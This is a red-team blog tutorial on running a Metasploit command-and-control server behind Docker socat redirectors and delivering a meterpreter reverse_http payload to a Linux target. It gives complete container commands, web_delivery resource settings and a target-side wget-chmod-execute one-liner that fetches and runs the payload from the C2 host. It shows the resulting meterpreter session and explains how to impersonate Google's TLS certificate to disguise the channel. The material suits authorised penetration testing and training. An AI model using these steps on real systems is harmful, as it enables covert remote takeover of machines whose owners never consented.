- Setup 🔧
- Running the delivery chain 💥
- Delivering and communicating with https 🔒
We want to run a simple C2 that is not exposed to the internet, with multiple socats redirecting our payload delivery and session handling correctly. All this with the help of Docker.
It’s straightforward once you’ve gotten the grip.
Using containers means we get the “it always works” factor, compared to manual installs. Since each Docker image is already built, we can just pull it and have everything working out of the box.
Docker greatly facilitates abstraction of networking and volumes, and makes for easy repeatable deployments.
To quote a seasoned professional:
Peeps if you’re not using Docker during your tests you’re missing out. Not having to deal with VMs/tool install woes speeds everything up. There is an adjustment period, change is hard but in the end it will speed up your workflow significantly.— Marcello (@byt3bl33d3r) February 7, 2020
We’re ideally running our Docker host on a VPS, that we can ssh into. A simple Ubuntu + Docker CE will suffice. There are some free or very cheap options out there.
We wish to keep our C2 container in a segmented Docker network, isolated from the outside. Two socat routes to it are needed.
|Route||Outside port||C2 port|
For our C2, we’re going to use Metasploit with the reverse_http meterpreter.
⭐ These instructions also work with the
meterpreter_reverse_tcp payloads as is.
We’re using the http variant so as to see all the traffic in cleartext at each step for live fiddling. Prefer encrypted channels when performing exercises.
In our case, the payload is served on port 443, but using http. You can add an SSL certificate, explained later here.
This post won’t introduce Docker as there are plenty of excellent write-ups. For this post, you need to have a grasp on Docker networks and volumes.
Try running the
hello-world container to check:
$ docker run hello-world # Hello from docker
Let’s create our isolated network first:
$ docker network create c2-net
We’re now going to create two different socat containers, one for each route.
We’re going to launch our two socat containers as daemons.
Socat will natively resolve the
msf container hostname since they will all be in the internal c2-net network.
🔹 The first one, redirecting port 443 to our Metasploit web_delivery server on port 8080:
$ docker run --rm -d -p 443:443 --network=c2-net --name socat_delivery alpine/socat -v TCP4-LISTEN:443,fork TCP4:msf:8080
🔹 The second one for our meterpreter session, from port 80 to the Metasploit handler on port 4444:
$ docker run --rm -d -p 80:80 --network=c2-net --name socat_handler alpine/socat -v TCP4-LISTEN:80,fork TCP4:msf:4444
The containers are now running in the background. I’ve launched them with the optional verbose argument for easier fiddling.
To view the logs, you can either:
docker logs CONTAINERwhere container could be
- Instead of starting the container as a daemon with
-d, replace the option with
-itto receive output in the foreground. You’ll need new separate terminals to run both socats.
Edit: If you’re discovering docker, you’ll soon understand we could have replaced socat with docker port-publishing. In this post we’re deliberatly using socat to experiment with proxifying, micro services, and session handling with Metasploit. If you need a quick Metasploit container directly connected to the internet, use
-p/--publish with the corresponding ports.
In this post, I’ll be running the meterpeter_reverse_http on a Linux x64 target.
If you wish to target something else (Windows, OSX), use
show targets and
show payloads and set the
PAYLOAD options accordingly.
You may also start
./msfconsole without any resource file and configure it manually.
$ mkdir socat-msf $ cd socat-msf $ nano docker_delivery.rc
Here are the options to set for Metasploit. You can edit and copy them directly to a resource file that we’ll mount to the Metasploit container.
Copy the following in the file, replacing YOUR-C2-EXT-IP. Save and exit.
use exploit/multi/script/web_delivery show targets set target 6 show payloads set payload linux/x64/meterpreter_reverse_http set URIPATH delivery set LURI handler set LPORT 80 set LHOST YOUR-C2-EXT-IP set ReverseListenerBindPort 4444
🔹 And now launch the Metasploit container:
$ docker run --rm -it -v `pwd`/docker_delivery.rc:/opt/metasploit-framework/docker_delivery.rc --network=c2-net --name msf phocean/msf * Starting PostgreSQL 10 database server [ OK ] $ ./msfconsole -r docker_delivery.rc *** snip *** # Check that everything looks okay msf > show options msf > show advanced # Hold the trigger a bit longer in case you wish to make last second changes msf > run
Running the delivery chain 💥
Once everything looks okay, launch the web_delivery script with
Metasploit will output a useful command to run directly on your target to fetch and execute the meterpreter payload.
Metasploit will output a bind error, and bind directly on 0.0.0.0. It’s okay, the container environment just confused it a bit.
msf exploit(multi/script/web_delivery) > run [*] Exploit running as background job 0. [-] Handler failed to bind to YOUR-C2-EXTERNAL-IP:4444 [*] Started HTTP reverse handler on http://0.0.0.0:4444/handler [*] Using URL: http://0.0.0.0:8080/delivery [*] Local IP: http://172.17.0.2:8080/delivery [*] Server started. [*] Run the following command on the target machine: wget -qO 0976ysRZ --no-check-certificate http://YOUR-C2-EXTERNAL-IP:8080/delivery; chmod +x 0976ysRZ; ./0976ysRZ&
We’re going to change that final command to run on the target with the correct options. In this scenario, we launched a simple reverse_http served on port 443 (and not served by https).
🔹 On the target machine:
$ wget -qO 0976ysRZ --no-check-certificate http://YOUR-C2-EXT-IP:443/delivery; chmod +x 0976ysRZ; ./0976ysRZ&
And here is the output from the Metasploit container:
msf exploit(multi/script/web_delivery) > [*] 172.23.0.3 web_delivery - Delivering Payload (1046512) bytes [*] http://YOUR-C2-EXT-IP:4444/handler handling request from 172.23.0.4; (UUID: kbsvqwg9) Redirecting stageless connection from /handler/rxKWQMcwr4jPs8mxkfOKIAYcPDcHXJlb3SZUA-IFGJfmx with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' [*] http://YOUR-C2-EXT-IP:4444/handler handling request from 172.23.0.4; (UUID: kbsvqwg9) Redirecting stageless connection from /handler/rxKWQMcwr4jPs8mxkfOKIAeeYSq5uKlqfZ with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' [*] http://YOUR-C2-EXT-IP:4444/handler handling request from 172.23.0.4; (UUID: kbsvqwg9) Redirecting stageless connection from /handler/rxKWQMcwr4jPs8mxkfOKIAk8emJzI2nJw4b with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' [*] http://YOUR-C2-EXT-IP:4444/handler handling request from 172.23.0.4; (UUID: kbsvqwg9) Attaching orphaned/stageless session... msf exploit(multi/script/web_delivery) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/linux 127.0.0.1 -> 172.23.0.4:54876 (172.23.0.4)
Delivering and communicating with https 🔒
To add https, no further socat configuration is required, since we chose port 443 for delivery earlier.
The SSL certificate can be used:
- When delivering the payload
- When communicating with the payload
To use an SSL certificate, you can either:
- Let Metasploit generate a certificate
- Impersonate an existing certificate
- Import a certificate
To let Metasploit generate the certificate, run the resource script. Before firing the web_delivery script, add:
msf exploit(multi/script/web_delivery) > set SSL true
On the target simply use
https://YOUR-C2-EXT-IP/delivery as the wget URL instead of the generated one.
If you want to impersonate a certificate, use the dedicated auxiliary module:
msf > use auxiliary/gather/impersonate_ssl msf auxiliary(impersonate_ssl) > set RHOST www.google.com RHOST => www.google.com msf auxiliary(impersonate_ssl) > run [*] Connecting to www.google.com:443 [*] Copying certificate from www.google.com:443 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=google.com [*] Beginning export of certificate files [*] Creating looted key/crt/pem files for www.google.com:443 [+] key: /opt/metasploit-framework/loot/20150611074516_default_22.214.171.124_www.google.com_k_189227.key [+] crt: /opt/metasploit-framework/loot/20150611074516_default_126.96.36.199_www.google.com_c_767214.crt [+] pem: /opt/metasploit-framework/loot/20150611074516_default_188.8.131.52_www.google.com_p_507862.pem [*] Auxiliary module execution completed msf auxiliary(impersonate_ssl) >
If you wish to import a certificate from the Docker host, make sure you mounted the required files to the Metasploit container using an additional
-v argument, like we did with the
If you want your payload served using a custom SSL cert:
msf exploit(multi/script/web_delivery) > set SSLCert /path/to/pem msf exploit(multi/script/web_delivery) > set SSL true
If you want the payload to verify your custom SSL cert with the handler:
msf exploit(multi/script/web_delivery) > set HandlerSSLCert /path/to/pem msf exploit(multi/script/web_delivery) > set stagerverifysslcert true
- If you quit out of the containers using CTRL+C and did not use the
--rmoption, you’ll have to remove the stopped containers to run them again with:
$ docker rm -f msf
- If you need to manually remove a container from a network:
docker network disconnect -f c2-net socat_handler
- You can use a small container as a target. Run the following to get a quick shell to a new container to execute the payload:
$ docker run -it alpine sh
- The Metasploit container is by phocean and includes an initialised PostgresDB. You can check that it is running correctly with:
msf > db_status [*] postgresql connected to msfdb
- You can add already existing containers to a new network using:
$ docker network connect c2-net new-msf
💭 I’ll hopefully be posting more on docker-based red team infrastructure, as there are still plenty of things to talk about. Also, if you spot a mistake, feel free to let me know.
Follow me on Twitter if you wish to stay updated!
Thank you for reading 💜